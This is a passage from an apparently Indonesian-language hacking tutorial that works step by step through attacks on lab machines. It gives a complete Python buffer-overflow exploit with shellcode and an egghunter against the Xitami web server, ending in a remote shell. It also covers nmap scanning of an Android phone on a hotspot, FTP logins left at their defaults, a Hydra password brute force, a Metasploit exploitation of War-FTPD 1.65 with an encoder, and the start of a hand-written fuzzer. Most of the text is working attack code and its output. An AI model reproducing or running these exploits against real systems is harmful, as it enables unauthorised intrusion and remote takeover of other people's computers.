35 "\x63\xcd\xd1\xc9\x45\x87\x3b\xd6\x4b\x7a\x24\xd5\xd4\x7d\x4c"
36 "\x83\x06\x16\x88\x7f")
```

36 baris

```
import socket;
buffer = "\x41" * 72
eip = "\x53\x93\x42\x7E"
jump = "\xeb\x22"
nop = "\x90"*35
shellcode = ("\xba\xa2\xcf\xad\x8d\xdb\xd1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
"\x7e\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\x57\x70\xe4\x08"
"\x09\x2d\x2e\xd1\xec\x46\xf5\x22\x56\x96\x3c\x7b\x1e\x5b\x7e"
"\x78\xef\x23\x71\x82\x3e\x5f\xf1\xd3\x58\x3b\x53\x30\xe6\xbc"
"\x82\xb3\xba\xf5\xdf\x9e\x21\x78\xcd\x8d\x25\x87\x5b\xd4\xfd"
"\x6c\xcd\xcf\x7b\x68\x84\x3d\x07\xcb\x1e\x1b\x06\x11\x31\xfd"
"\x90\x27\xff\xe6\x22\x4d\xdd\x1a\xc9\xe1\x93\x45\x4b\x13\x48"
"\x74\xcc\x45\x07\x95\xd1\x38\xde\xa3\xef\x7d\x68\xb0\xd1\x67"
"\x60\xe5\x89\xb5\xf7\x3e\x2f\x49\xd7\xb8\xc0\xc6\x1b\xfc\xe2"
"\xbb\xc8\xae\x39\x78\x81\x4d\xc4\x1c\x2d\x16\x6d\xc3\x04\xde"
"\x58\x43\x4e\xc5\x60\x46\x4b\xc9\x79\xfb\x32\xdd\x46\xb8\xd4"
"\x61\x62\x92\xf6\xe8\x7b\xe8\x41\xc0\xee\xe2\xbb\x64\x6c\xb8"
"\x43\x2d\xfd\xda\x61\xb0\x7c\xe6\x36\xab\x3e\x7a\x80\xe6\x60"
"\x2b\x52\x1d\x53\xed\xb4\x94\x86\x8b\x66\x26\x56\x67\xe0\x7c"
"\xfb\x1c\xb9\x4f\x75\x4e\x7d\x63\xac\xbc\x7e\x90\xfd\xa1\xb2"
"\x6b\x06\xb4\x92\x1f\x90\x26\x1a\x4f\x3d\x18\xa2\x3c\x72\x0f"
"\x93\x37\xf7\xf3\x5a\x7f\x33\xbf\x9f\xc2\xea\xb9\x13\x6c\x77"
"\xb6\xd4\xc0\x37\x86\x78\xd3\x86\x8c\x9f\x3a\x0f\xb1\x5e\x0f"
"\xb9\x09\xf1\x0c\xe9\x2f\xb7\xd7\xea\x37\x4f\x6a\xc3\xdb\x7b"
"\x48\x32\x05\xd4\x48\xcc\x47\x59\x41\xc5\x0b\xf5\x02\xeb\x06"
"\x7f\xae\x25\x2b\x16\x2d\x51\x18\x91\x9c\x96\x32\x17\x1c\x6e"
"\x95\xb9\x4e\xf5\xa6\x29\x8b\x30\x48\x07\x55\xf1\xe4\xa8\xe2"
"\x4d\xe0\x6a\xef\xd3\x4e\x07\x4d\xb2\x25\xe0\xb2\x33\x1b\xdc"
"\x50\xac\x59\x35\xd9\x91\x9c\x44\x5a\xc1\x52\x19\x0f\x03\xc9"
"\x1d\x71\xe5\x79\x54\x3d\xc0\x87\x4d\x9f\x9d\x69\x09\xd4\x6b"
"\xe2\xa5\xe0\x77\xd0\xb9\xbd\x85\xd0\x35\xcb\x59\x78\x22\xf2"
```

```
"\x25\x78\x64\xf6\x2a\x8d\x3e\xc8\xce\x7c\x6f\x64\x24\xb4\x2c"
"\x14\xd5\xff\x9c\x84\x40\xf1\x74\xcf\x3c\x4f\xac\x2c\xe2\xae"
"\xaa\xaf\xb0\xcf\xc8\x31\x30\xb3\xb0\x8b\x08\x25\x2d\x95\x3d"
"\xf5\x0c\x1f\x23\xd9\x87\x31\x79\xd2\x8d\xad\x59\xdd\xb0\x4c"
"\xa4\x17\xeb\x97\xb0\x90\x3c\x45\xb7\x3f\x2b\x04\xf3\xc6\xe8"
"\x56\x25\x7a\xfd\x6e\x3b\xef\x64\x14\x9b\x67\x08\x9c\x47\x73"
"\x24\x1e\x1e\xc6\xd2\xad\xcc\x0c\xc8\xbb\x4e\x12\xde\xf5\x35"
"\x25\xe0\xb0\xef\x04\xb5\x29\x62\xc6\x56\x44\x52\x16\xa3\x63"
"\x63\xcd\xd1\xc9\x45\x87\x3b\xd6\x4b\x7a\x24\xd5\xd4\x7d\x4c"
"\x83\x06\x16\x88\x7f")

header = ( 'GET / HTTP/1.1\r\n' \
        'If-Modified-Since: , %s\r\n\r\n') %(buffer+eip+jump+nop+shellcode)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.39", 80))
print "Kirim paket"
s.send(header)
s.close()
```

```
C:\Python27>python xitamifuzz5.py
Kirim paket

C:\Python27>telnet 192.168.1.39 1337
Connecting To 192.168.1.39...Could not open connection to the host, on port 1337
: Connect failed

C:\Python27>_
```

Penggantian shellcode dengan port 1337 menyebabkan exploit tidak berjalan

Karena tidak berjalan maka dicoba dengan memanfaatkan EggHunter agar dapat berjalan

!mona egg -t w00t

77 30 30 74 : w 0 0 t

```
import socket;

buffer = "\x41" * 72

eip = "\x53\x93\x42\x7E"

jump = "\xeb\x22"

egghunt = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02"

"\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8"

"w00t"

"\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7")

nop = "\x90"*35

telur = "w00tw00t"

shellcode = ("\xba\xa2\xcf\xad\x8d\xdb\xd1\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"

"\x7e\x83\xee\xfc\x31\x56\x11\x03\x56\x11\xe2\x57\x70\xe4\x08"

"\x09\x2d\x2e\xd1\xec\x46\xf5\x22\x56\x96\x3c\x7b\x1e\x5b\x7e"

"\x78\xef\x23\x71\x82\x3e\x5f\xf1\xd3\x58\x3b\x53\x30\xe6\xbc"

"\x82\xb3\xba\xf5\xdf\x9e\x21\x78\xcd\x8d\x25\x87\x5b\xd4\xfd"

"\x6c\xcd\xcf\x7b\x68\x84\x3d\x07\xcb\x1e\x1b\x06\x11\x31\xfd"
```

"\x90\x27\xff\xe6\x22\x4d\xdd\x1a\xc9\xe1\x93\x45\x4b\x13\x48"

"\x74\xcc\x45\x07\x95\xd1\x38\xde\xa3\xef\x7d\x68\xb0\xd1\x67"

"\x60\xe5\x89\xb5\xf7\x3e\x2f\x49\xd7\xb8\xc0\xc6\x1b\xfc\xe2"

"\xbb\xc8\xae\x39\x78\x81\x4d\xc4\x1c\x2d\x16\x6d\xc3\x04\xde"

"\x58\x43\x4e\xc5\x60\x46\x4b\xc9\x79\xfb\x32\xdd\x46\xb8\xd4"

"\x61\x62\x92\xf6\xe8\x7b\xe8\x41\xc0\xee\xe2\xbb\x64\x6c\xb8"

"\x43\x2d\xfd\xda\x61\xb0\x7c\xe6\x36\xab\x3e\x7a\x80\xe6\x60"

"\x2b\x52\x1d\x53\xed\xb4\x94\x86\x8b\x66\x26\x56\x67\xe0\x7c"

"\xfb\x1c\xb9\x4f\x75\x4e\x7d\x63\xac\xbc\x7e\x90\xfd\xa1\xb2"

"\x6b\x06\xb4\x92\x1f\x90\x26\x1a\x4f\x3d\x18\xa2\x3c\x72\x0f"

"\x93\x37\xf7\xf3\x5a\x7f\x33\xbf\x9f\xc2\xea\xb9\x13\x6c\x77"

"\xb6\xd4\xc0\x37\x86\x78\xd3\x86\x8c\x9f\x3a\x0f\xb1\x5e\x0f"

"\xb9\x09\xf1\x0c\xe9\x2f\xb7\xd7\xea\x37\x4f\x6a\xc3\xdb\x7b"

"\x48\x32\x05\xd4\x48\xcc\x47\x59\x41\xc5\x0b\xf5\x02\xeb\x06"

"\x7f\xae\x25\x2b\x16\x2d\x51\x18\x91\x9c\x96\x32\x17\x1c\x6e"

"\x95\xb9\x4e\xf5\xa6\x29\x8b\x30\x48\x07\x55\xf1\xe4\xa8\xe2"

"\x4d\xe0\x6a\xef\xd3\x4e\x07\x4d\xb2\x25\xe0\xb2\x33\x1b\xdc"

"\x50\xac\x59\x35\xd9\x91\x9c\x44\x5a\xc1\x52\x19\x0f\x03\xc9"

"\x1d\x71\xe5\x79\x54\x3d\xc0\x87\x4d\x9f\x9d\x69\x09\xd4\x6b"

"\xe2\xa5\xe0\x77\xd0\xb9\xbd\x85\xd0\x35\xcb\x59\x78\x22\xf2"

"\x25\x78\x64\xf6\x2a\x8d\x3e\xc8\xce\x7c\x6f\x64\x24\xb4\x2c"

"\x14\xd5\xff\x9c\x84\x40\xf1\x74\xcf\x3c\x4f\xac\x2c\xe2\xae"

"\xaa\xaf\xb0\xcf\xc8\x31\x30\xb3\xb0\x8b\x08\x25\x2d\x95\x3d"

"\xf5\x0c\x1f\x23\xd9\x87\x31\x79\xd2\x8d\xad\x59\xdd\xb0\x4c"

"\xa4\x17\xeb\x97\xb0\x90\x3c\x45\xb7\x3f\x2b\x04\xf3\xc6\xe8"

"\x56\x25\x7a\xfd\x6e\x3b\xef\x64\x14\x9b\x67\x08\x9c\x47\x73"

"\x24\x1e\x1e\xc6\xd2\xad\xcc\x0c\xc8\xbb\x4e\x12\xde\xf5\x35"

"\x25\xe0\xb0\xef\x04\xb5\x29\x62\xc6\x56\x44\x52\x16\xa3\x63"

"\x63\xcd\xd1\xc9\x45\x87\x3b\xd6\x4b\x7a\x24\xd5\xd4\x7d\x4c"

"\x83\x06\x16\x88\x7f")

```
header = ( 'GET / HTTP/1.1\r\n' \
        'If-Modified-Since: , %s\r\n\r\n') %(buffer+eip+jump+nop+egghunt+telur+shellcode)


s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.39", 80))
print "Kirim paket"
s.send(header)
s.close()
```

```
C:\Python27>python xitamifuzz6.py
Kirim paket

C:\Python27>telnet 192.168.1.39 1337_
```

```
Telnet 192.168.1.39
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Xitami>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 4CC0-D58B

 Directory of C:\Xitami

02/05/2013  08:19 AM    <DIR>          .
02/05/2013  08:19 AM    <DIR>          ..
07/31/2011  05:18 AM    <DIR>          addons
07/31/2011  05:18 AM    <DIR>          cgi-bin
07/31/2011  05:18 AM    <DIR>          cgi-src
02/05/2013  08:19 AM               133 crash.log
03/30/2000  03:45 PM             8,268 ddnsdef.xml
07/31/2011  05:18 AM    <DIR>          debug
07/31/2011  05:18 AM                92 defaults.aut
07/31/2011  05:18 AM               134 defaults.cfg
07/31/2011  05:18 AM    <DIR>          errors
06/25/1998  10:37 PM               148 ftpadios.txt
08/04/1998  06:20 PM             1,303 ftpdirs.aut
12/19/1997  04:31 PM               729 ftphello.txt
02/23/1998  08:34 PM             1,334 ftplogin.txt
07/31/2011  05:18 AM    <DIR>          ftproot
08/31/1999  11:43 AM             1,694 ftpusers.aut
04/21/2000  09:34 PM           155,648 gslgen.exe
07/31/2011  05:18 AM    <DIR>          headers
07/31/2011  05:18 AM             6,772 INSTALL.LOG
01/01/2000  08:23 PM             5,194 license.txt
07/31/2011  05:18 AM    <DIR>          logs
01/01/2000  08:23 PM            15,146 perlssi
12/07/1999  10:24 PM             2,628 pipedef.xml
10/13/1998  10:05 PM             1,335 readme.txt
```

Target berhasil diremote setelah menggunakan egghunter

13.4 Contoh scanning dan eksploitasi pada target android

Join ke hotspot area. Setelah join dan mendapatkan ip address dari DHCP Server maka untuk mengetahui ip address, subnet mask dan gateway di komputer kamu maka di command prompt ketik : ipconfig /all. Setelah mengetahui ip address, subnet mask dan gateway maka install NMAP di Windows, jika kamu sudah ada Kali Linux maka kamu bisa jalankan langsung NMAP di Kali Linux.

Di sini misalkan ip address kamu 192.168.1.100, subnet mask 255.255.255.0, maka untuk scan komputer di jaringan, kamu bisa menggunakan perintah : nmap -sn192.168.1.1-254. Pilih target yang ingin kamu scan, misalkan kamu menemukan targetnya menggunakan ip address 192.168.1.101, maka untuk awal ketik : nmap-p1-10000-v192.168.1.101

Di sini yang dilakukan scan adalah port 1 sampai 10.000, umumnya service- service yang diinstall di android berada di port 1000 ke atas.

Contoh-contoh hasil dari NMAP

```
Initiating OS detection (try #1) against 192.168
Nmap scan report for 192.168.0.88
Host is up (0.021s latency).
Not shown: 9995 closed ports
PORT     STATE SERVICE
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
8000/tcp open  http-alt
8001/tcp open  vcom-tunnel
8080/tcp open  http-proxy
MAC Address: 00:36:10:00:86:C1 (Unknown)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:lin
OS details: Linux 2.6.32 - 3.5
Uptime guess: 0.032 days (since Sun Dec 21 02:06
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=256 (Good lu
IP ID Sequence Generation: All zeros
```

```
C:\netcat>nmap -p 1-10000 -v -O 192.168.0.89

Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-21 02:55 Pacific Standard

Initiating ARP Ping Scan at 02:55
Scanning 192.168.0.89 [1 port]
Completed ARP Ping Scan at 02:55, 3.32s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 02:56
Completed Parallel DNS resolution of 1 host. at 02:56, 2.76s elapsed
Initiating SYN Stealth Scan at 02:56
Scanning 192.168.0.89 [10000 ports]
Discovered open port 7272/tcp on 192.168.0.89
Discovered open port 1026/tcp on 192.168.0.89
SYN Stealth Scan Timing: About 38.98% done; ETC: 02:58 (0:00:49 remaining)
```

```
Nmap scan report for 192.168.0.89
Host is up (0.078s latency).
Not shown: 9998 closed ports
PORT     STATE SERVICE
1026/tcp open  LSA-or-nterm
7272/tcp open  watchme-7272
MAC Address: 6C:5F:1C:93:89:69 (Lenovo Mobile Communication Technology)
Device type: media device|general purpose|phone
Running: Google Android 4.X, Linux 3.X
OS CPE: cpe:/o:google:android:4 cpe:/o:linux:linux_kernel:3 cpe:/o:goog
d:4.2.2
OS details: Android 4.1.1, Linux 3.11 - 3.14, Android 4.2.2 (Linux 3.4)
Uptime guess: 0.018 days (since Sun Dec 21 02:32:36 2014)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: All zeros
```

Serangan memanfaatkan akses default juga dapat dilakukan, untuk target yang menjalankan service namun masih menggunakan konfigurasi default contohnya seperti di bawah ini

Untuk mengetahui port terbuka maka kamu bisa menggunakan NMAP

```
Completed SYN Stealth Scan at 03:29,
Nmap scan report for 192.168.0.89
Host is up (0.023s latency).
Not shown: 9996 closed ports
PORT     STATE SERVICE
1026/tcp open  LSA-or-nterm
1200/tcp open  scol
1234/tcp open  hotline
7272/tcp open  watchme-7272
MAC Address: 6C:5F:1C:93:89:69 (Lenov
```

FTP Server : port 7272.

Username : admin.

Password admin123

Wifi Transfer File : Default tanpa password (port 1234)

```
C:\hydra>nmap -p 1-10000 -v 192.168.0.89

Starting Nmap 6.47 ( http://nmap.org ) at 2014-12-21 03:08 Pacific Standar

Initiating ARP Ping Scan at 03:08
Scanning 192.168.0.89 [1 port]
Completed ARP Ping Scan at 03:08, 3.60s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 03:09
Completed Parallel DNS resolution of 1 host. at 03:09, 0.07s elapsed
Initiating SYN Stealth Scan at 03:09
Scanning 192.168.0.89 [10000 ports]
Discovered open port 7272/tcp on 192.168.0.89
SYN Stealth Scan Timing: About 36.11% done; ETC: 03:10 (0:00:55 remaining)
Discovered open port 1200/tcp on 192.168.0.89
Discovered open port 1026/tcp on 192.168.0.89
Completed SYN Stealth Scan at 03:10, 78.88s elapsed (10000 total ports)
Nmap scan report for 192.168.0.89
Host is up (0.023s latency).
Not shown: 9997 closed ports
PORT     STATE SERVICE
1026/tcp open  LSA-or-nterm
1200/tcp open  scol
7272/tcp open  watchme-7272
MAC Address: 6C:5F:1C:93:89:69 (Lenovo Mobile Communication Technology)
```

Teknik lain dapat menggunakan teknik brute force. Brute force attack adalah sebuah teknik serangan terhadap sebuah sistem keamanan komputer yang menggunakan percobaan terhadap semua kunci yang mungkin.

Contoh serangan brute force dengan hydra : hydra -s 1200 -L user.txt -P pass.txt 192.168.1.89 ftp

```
C:\hydra>hydra -s 1200 -L user.txt -P pass.txt 192.168.0.89 ftp
Hydra v6.0 (c) 2011 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2014-12-21 03:16:59
[DATA] 16 tasks, 1 servers, 42 login tries (l:3/p:14), ~2 tries per task
[DATA] attacking service ftp on port 1200
[STATUS] attack finished for 192.168.0.89 (waiting for childs to finish)
[1200][ftp] host: 192.168.0.89   login: admin   password: baseball
Hydra (http://www.thc.org) finished at 2014-12-21 03:17:26
```

9.5 Contoh kasus lain hacking FTP Server di Windows dengan memanfaatkan metasploit framework

Untuk kasus lain yaitu ip 192.168.1.31 dengan target WAR-FTPD 1.65. OS Windows XP SP0.

```
root@kalidata:~# nmap -A 192.168.1.31

Starting Nmap 6.46 ( http://nmap.org ) at 2015-08-08 17:03 EDT
Nmap scan report for 192.168.1.31
Host is up (0.024s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          WAR-FTPD 1.65 (Name Jgaa's Fan Club FTP Service)
22/tcp   open  ssh          WeOnlyDo sshd 1.2.7 (protocol 2.0)
| ssh-hostkey:
|   1024 8f:41:a3:4a:45:fe:f6:8c:b3:d2:a4:08:56:80:fa:53 (DSA)
|_  1024 25:a4:a5:5a:ab:f0:bb:96:99:50:67:af:82:ee:64:25 (RSA)
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows XP microsoft-ds
1025/tcp open  msrpc        Microsoft Windows RPC
5000/tcp open  http-proxy   sslstrip
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Site doesn't have a title.
MAC Address: 08:00:27:FF:4C:E6 (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows 2000|XP
OS CPE: cpe:/o:microsoft:windows_2000::- cpe:/o:microsoft:windows_2000::sp1 cpe:
/o:microsoft:windows_2000::sp2 cpe:/o:microsoft:windows_2000::sp3 cpe:/o:microso
ft:windows_2000::sp4 cpe:/o:microsoft:windows_xp::- cpe:/o:microsoft:windows_xp:
:sp1
OS details: Microsoft Windows 2000 SP0 - SP4 or Windows XP SP0 - SP1
Network Distance: 1 hop
```

Di terminal kali linux ketik msfconsole

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help
root@kalidata:~# msfconsole

                  _---------.
              .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@           @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@         @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@         @ ,'-   .'--"
          ".@' ; @        @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@    .
                ',@@     @   ;        _____
                (   3 C    )     /|___ / Metasploit! \
                ;@'. __*__,."    \|--- \_____________/
                 '(.,...."/


Trouble managing data? List, sort, group, tag and search your pentest data
in Metasploit Pro -- learn more on http://rapid7.com/metasploit

       =[ metasploit v4.10.0-2014082101 [core:4.10.0.pre.2014082101 api:1.0.0]]
+ -- --=[ 1331 exploits - 722 auxiliary - 214 post        ]
+ -- --=[ 340 payloads - 35 encoders - 8 nops             ]
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

msf >
```

Karena target FTP Server yang ingin dieksploitasi maka search FTP

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help

msf > search ftp
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                                     Disclosure Date  Rank
   Description
   ----                                                     ---------------  ----
   -----------
   auxiliary/admin/cisco/vpn_3000_ftp_bypass                2006-08-23       normal
   Cisco VPN Concentrator 3000 FTP Unauthorized Administrative Access
   auxiliary/admin/officescan/tmlisten_traversal                             normal
   TrendMicro OfficeScanNT Listener Traversal Arbitrary File Access
   auxiliary/admin/tftp/tftp_transfer_util                                   normal
   TFTP File Transfer Utility
   auxiliary/dos/scada/d20_tftp_overflow                    2012-01-19       normal
```

```
root@kalidata: ~
File  Edit  View  Search  Terminal  Help

   exploit/windows/ftp/scriptftp_list                       2011-10-12       good
   ScriptFTP LIST Remote Buffer Overflow
   exploit/windows/ftp/seagull_list_reply                   2010-10-12       good
   Seagull FTP v3.3 Build 409 Stack Buffer Overflow
   exploit/windows/ftp/servu_chmod                          2004-12-31       normal
   Serv-U FTP Server Buffer Overflow
   exploit/windows/ftp/servu_mdtm                           2004-02-26       good
   Serv-U FTPD MDTM Overflow
   exploit/windows/ftp/slimftpd_list_concat                 2005-07-21       great
   SlimFTPd LIST Concatenation Overflow
   exploit/windows/ftp/trellian_client_pasv                 2010-04-11       normal
   Trellian FTP Client 3.01 PASV Remote Buffer Overflow
   exploit/windows/ftp/turboftp_port                        2012-10-03       great
   Turbo FTP Server 1.30.823 PORT Overflow
   exploit/windows/ftp/vermillion_ftpd_port                 2009-09-23       great
   Vermillion FTP Daemon PORT Command Memory Corruption
   exploit/windows/ftp/warftpd_165_pass                     1998-03-19       average
   War-FTPD 1.65 Password Overflow
   exploit/windows/ftp/warftpd_165_user                     1998-03-19       average
   War-FTPD 1.65 Username Overflow
   exploit/windows/ftp/wftpd_size                           2006-08-23       average
   Texas Imperial Software WFTPD 3.23 SIZE Overflow
   exploit/windows/ftp/wsftp_server_503_mkd                 2004-11-29       great
   WS-FTP Server 5.03 MKD Overflow
   exploit/windows/ftp/wsftp_server_505_xmd5                2006-09-14       average
   Ipswitch WS_FTP Server 5.05 XMD5 Overflow
   exploit/windows/ftp/xftp_client_pwd                      2010-04-22       normal
   Xftp FTP Client 3.0 PWD Remote Buffer Overflow
```

Exploit warftpd_165_user ditemukan

```
msf >
msf > search war-ftpd
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                  Disclosure Date  Rank     Description
   ----                                  ---------------  ----     -----------
   exploit/windows/ftp/warftpd_165_pass  1998-03-19       average  War-FTPD 1.65
 Password Overflow
   exploit/windows/ftp/warftpd_165_user  1998-03-19       average  War-FTPD 1.65
 Username Overflow

msf >
```

Jika ingin melakukan pencarian secara langsung, search war-ftpd

Jika exploit sudah ditemukan maka gunakan perintah use (nama exploit)

Setelah memilih exploit yang ingin digunakan maka gunakan perintah show targets untuk mengetahui exploit tersebut akan dieksploitasi ke target dengan OS apa, jika dia aplikasi, maka aplikasi versi berapa dan sebagainya.

Setelah muncul tampilan nomor dan targetnya maka ketik set target (nomor), untuk memilih target. Jika isinya kosong saat show target maka lewatkan dan lanjut ke tahap selanjutnya.

```
msf > use exploit/windows/ftp/warftpd_165_user
msf exploit(warftpd_165_user) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 2000 SP0-SP4 English
   1   Windows XP SP0-SP1 English
   2   Windows XP SP2 English
   3   Windows XP SP3 English


msf exploit(warftpd_165_user) > set target 1
target => 1
msf exploit(warftpd_165_user) >
```

Seteah set target maka berikutnya ketik show payloads lalu enter. Di sini anda piih payload yang ingin digunakan, untuk memilih payload yang ingin digunakan gunakan perintah set payload (nama payload).

```
msf exploit(warftpd_165_user) > show payloads

Compatible Payloads
===================

   Name                                                Disclosure Date  Rank     Des
cription
   ----                                                ---------------  ----     ---
--------
   generic/custom                                                       normal   Cus
tom Payload
   generic/debug_trap                                                   normal   Gen
eric x86 Debug Trap
   generic/shell_bind_tcp                                               normal   Gen
eric Command Shell, Bind TCP Inline
   generic/shell_reverse_tcp                                            normal   Gen
eric Command Shell, Reverse TCP Inline
   generic/tight_loop                                                   normal   Gen
eric x86 Tight Loop
   windows/dllinject/bind_ipv6_tcp                                      normal   Ref
lective DLL Injection, Bind TCP Stager (IPv6)
   windows/dllinject/bind_nonx_tcp                                      normal   Ref
```

Jika sudah set payload maka berikutnya melihat option apa yang belum dimasukkan, perintahnya show options lalu enter.

Di sini perhatikan kolom dan isinya.

Set ip target dengan perintah set rhost (ip target), misalnya set rhost 192.168.1.31. rhost adalah remote host.

```
msf exploit(warftpd_165_user) > set payload generic/shell_bind_tcp
payload => generic/shell_bind_tcp
msf exploit(warftpd_165_user) > show options

Module options (exploit/windows/ftp/warftpd_165_user):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   FTPPASS  mozilla@example.com  no        The password for the specified userna
me
   FTPUSER  anonymous            no        The username to authenticate as
   RHOST    192.168.1.31         yes       The target address
   RPORT    21                   yes       The target port


Payload options (generic/shell_bind_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST  192.168.1.31     no        The target address


Exploit target:

   Id  Name
   --  ----
   1   Windows XP SP0-SP1 English


msf exploit(warftpd_165_user) > set rhost 192.168.1.31
rhost => 192.168.1.31
msf exploit(warftpd_165_user) > exploit
```

```
msf exploit(warftpd_165_user) > exploit

[*] Started bind handler
[*] Trying target Windows XP SP0-SP1 English...
[*] Command shell session 2 opened (192.168.1.102:54017 -> 192.168.1.31:4444) at 2015-08-08 17:33:14 -0400

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\War-ftpd>
```

Jika ingin menggunakan encoder

```
msf > search warftpd
[!] Database not connected or cache not built, using slow search

Matching Modules
================

   Name                                  Disclosure Date  Rank     Description
   ----                                  ---------------  ----     -----------
   exploit/windows/ftp/warftpd_165_pass  1998-03-19       average  War-FTPD 1.65 Password Overflow
   exploit/windows/ftp/warftpd_165_user  1998-03-19       average  War-FTPD 1.65 Username Overflow


msf > use exploit/windows/ftp/warftpd_165_user
msf  exploit(warftpd_165_user) > set payload windows/shell/bind_tcp
payload => windows/shell/bind_tcp
msf  exploit(warftpd_165_user) > set encoder x86/shikata_ga_nai
encoder => x86/shikata_ga_nai
msf  exploit(warftpd_165_user) > set rhost 192.168.1.35
rhost => 192.168.1.35
```

Untuk contoh set encoder, ketik set encoder x86/shikata_ga_nai lalu enter

```
msf  exploit(warftpd_165_user) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows 2000 SP0-SP4 English
   1   Windows XP SP0-SP1 English
   2   Windows XP SP2 English
   3   Windows XP SP3 English


msf  exploit(warftpd_165_user) > set target 1
target => 1
msf  exploit(warftpd_165_user) > exploit

[*] Started bind handler
[*] Trying target Windows XP SP0-SP1 English...
[*] Encoded stage with x86/shikata_ga_nai
[*] Sending encoded stage (267 bytes) to 192.168.1.35
[*] Command shell session 1 opened (192.168.1.177:45404 -> 192.168.1.35

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Program Files\War-ftpd>
```

Hasilnya saat eksploitasi

Jika dibuat exploit nya sendiri dengan membawa program WARFTPD ke komputer lab

Buka war-ftpd.exe dengan Immunity Debugger

Jalankan program War-FTPD

```
#!/usr/bin/python
import socket
buffer = "\x41" * 1000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.31",21))
print s.recv(1024)
s.send("USER "+buffer+"\r\n")
print s.recv(1024)
s.send("PASS anonymous\r\n")
s.close()
```

Saat dijalankan pengiriman "\x41" mengenai EIP

```
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Program Files\Rapid7\framework\msf3>cd tools

C:\Program Files\Rapid7\framework\msf3\tools>ruby pattern_create.rb 1000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2A
f3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9
Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak
6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2A
n3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9
Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As
6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2A
v3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9
Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba
6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2B
